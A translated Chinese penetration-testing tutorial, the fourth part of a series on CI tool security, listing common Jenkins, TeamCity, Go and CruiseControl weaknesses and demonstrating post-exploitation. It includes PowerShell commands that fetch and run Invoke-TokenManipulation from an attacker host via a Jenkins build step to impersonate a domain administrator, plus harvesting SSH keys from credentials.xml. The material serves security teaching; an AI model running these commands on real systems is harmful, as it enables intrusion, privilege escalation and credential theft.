欢迎来到CI工具一周教程的第四天。我们将在这一个系列教程中讨论CI工具的安全问题。
今天是第四天的课程,其他课程如下所示:
第一天 - Jenkins(和Hudson)[] 第二天 - TeamCity[] 第三天 - Go和CruiseControl 第四天 - 常见问题集合及利用 第五天 - 防御措施和讨论其他一些事
今天主要讨论CI工具常见问题集合及其利用。
在过去的三天,我们讨论了针对Jenkins(和Hudson)、TeamCity、CruiseControl和Go(非常简单)的不同攻击方式。留心的读者会发现这些攻击方式非常相似,都是由于系统错误的配置、缺乏安全防护措施以及滥用功能导致的。下面让我们挑选一些工具来进行讲解。
常见问题集合
从之前的教程我们了解到CI工具的常见问题主要表现为:
1.缺乏基本和通用的安全控制 - 缺乏应对暴力破解攻击的保护措施 - 不安全的存储SSH密钥和凭证 - 无论在主从节点的Windows系统上都以很高的权限运行 2.总是以系统权限执行命令 3.错误的配置 - 在主节点上运行代理 - 公共实例上所有用户具有读权限 - 使用HTTP进行登录 - 主从节点之间的通信没有进行加密 4.用户安全意识差 - 构建参数中包含密码 - 常使用用户名作为密码 5.许多公共实例(即公网可以访问的)
下面我们来快速了解下这些问题:
缺乏安全机制
1.认证
缺乏抵御像暴力破解攻击这种的基本安全机制。事实上,Jenkins和Go在默认安装后根本就没有任何安全认证措施。如果你已经看过我前三天的教程了,你就会发现还是比较容易在公网上发现默认安装的公共实例。这说明CI工具本身存在一些安全问题,而不是一些企业缺乏相应的安全控制机制。
2.不安全的存储凭证/SSH密钥
在所有的测试中发现全部或部分的凭证和SSH密钥都存储在不安全的文件格式中。几乎所有的SSH密钥都是以明文形式存储的,Jenkins中加密的凭证也很容易恢复出明文。很难以置信这些CI工具现在依旧这样。
3.权限
在Windows上所有的CI工具都是以系统或者管理员权限运行的。无论在主从节点上都是这样。这就使得攻击者通过命令执行可以收获到丰厚的成果。
命令执行
CI工具允许通过增加构建步骤来在执行系统命令这使得它们非常特别。在大部分广泛应用于企业的工具中,可以直接执行操作系统命令的工具相当罕见。这就使得CI工具很为了一个富有价值的攻击目标。随着大规模的分布式构建以及所有节点统一由主节点控制,使得攻击者可以在主节点上面操纵大量的子节点。
错误的配置
主节点上启用代理
几乎所有的CI工具文档上面都不推荐在主节点上面执行构建或运行代理。但是,Jenkins默认情况下仍然会在主节点上安装,TeamCity也提供对应的安装包。只有Go需要用户单独下载一个安装包来使得在主节点上启用代理。我们已经见识过如果在主节点上启用了代理,那么我们所有的安全措施都将变成徒劳。
对于CI工具我们还可以进行很多有趣的事,而不仅仅只是弹回一个反向Shell。
域管理员
因为我们讨论的CI工具支持分布式,所以在企业环境下,我们很可能在一些机器上找到具有很好权限的用户凭证(像本地管理员或域管理员)。注意,即使主节点运行在*nix上,但是几乎所有的子节点都还是运行在Windows上的。
让我们假设如下情况。我们已经进入Jenkins或其他CI工具,并具有在子节点上配置构建的权限,而其中一个子节点上拥有一个域管理员权限的进程。我们可以利用PowerShell(或者其他工具)来进行枚举、重用token并最终提权到域管理员。我们可以使用Invoke-TokenManipulation来进行枚举和模拟。我们可以使用下面的代码在Jenkins上构建步骤,使其下载并在内存中执行脚本命令。
powershell -c "iex(New-Object Net.WebClient).DownloadString('http://[IPAddress]/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation"
由于Jenkins以系统权限运行,这段代码会列出所有可用的token。
注意这里有一个域管理员的token。现在我们可以使用以下命令来在Jenkins内存中运行Invoke-TokenManipulation,通过token来模拟域管理员并在域控制器上执行Get-Process命令行命令。
powershell -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.230.1/Invoke-TokenManipulation.ps1');Get-Process -Id 364 | Invoke-TokenManipulation -ImpersonateUser;Get-Process -Computername pfptlab-dc"
执行结果如下图所示:
很好!我们以域管理员的身份在域控制器上执行了命令。这些很容易吗?那你可以在得到授权的环境下自己尝试一些有趣的事情。
请注意,这里我们假设已经枚举出了域管理员的名称并配置好了域控制器。另外,如果我们在已经进入的子节点中没有找到任何特权用户,那么我们可以使用这个子节点作为跳板尝试访问网内其他的机器。注意,在域内尝试访问其他机器的时候我们需要伪造成子节点的域用户。
Linux机器
在对CI工具进行测试中,我经常能获取不少的SSH密钥。这些SSH密钥可以直接用来访问Linux主机。
再让我们来假设如下情况。我们已经进入了Jenkins的一个实例。我们使用获取到的SSH密钥进行登录到Linux机器(root或者其他用户取决于获取到SSH密钥)。在第一天的教程中已经讲过,Jenkins中的SSH密钥存储在$JENKINS_HOME或者credentials.xml文件中。我们也可以获取到密码短语(passphrase)。通常,利用这些我们可以登录到大量的子节点上。
下面让我们读取credentials.xml文件,并看看其中是否存储有用户SSH的私钥。
看起来我们获得了一个名为"ubuntuadmin"用户的密码短语(加密的)。这个加密的密码短语我们可以使用第一天介绍的方法解开。现在,唯一的问题就是这些密码在哪些机器上可以使用。我们可以通过查看构建日志来寻找这些密码在哪里使用过,也可以简单的在所有的Linux机器上尝试登陆。
另外,为了在Putty中使用这些密码,我们需要使用puttygen来转换格式。
然后:
此外,源码仓库、版本控制系统和数据库也是黑客在进入CI工具后的常见目标。
视频演示
*原文地址:labofapenetrationtester , xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)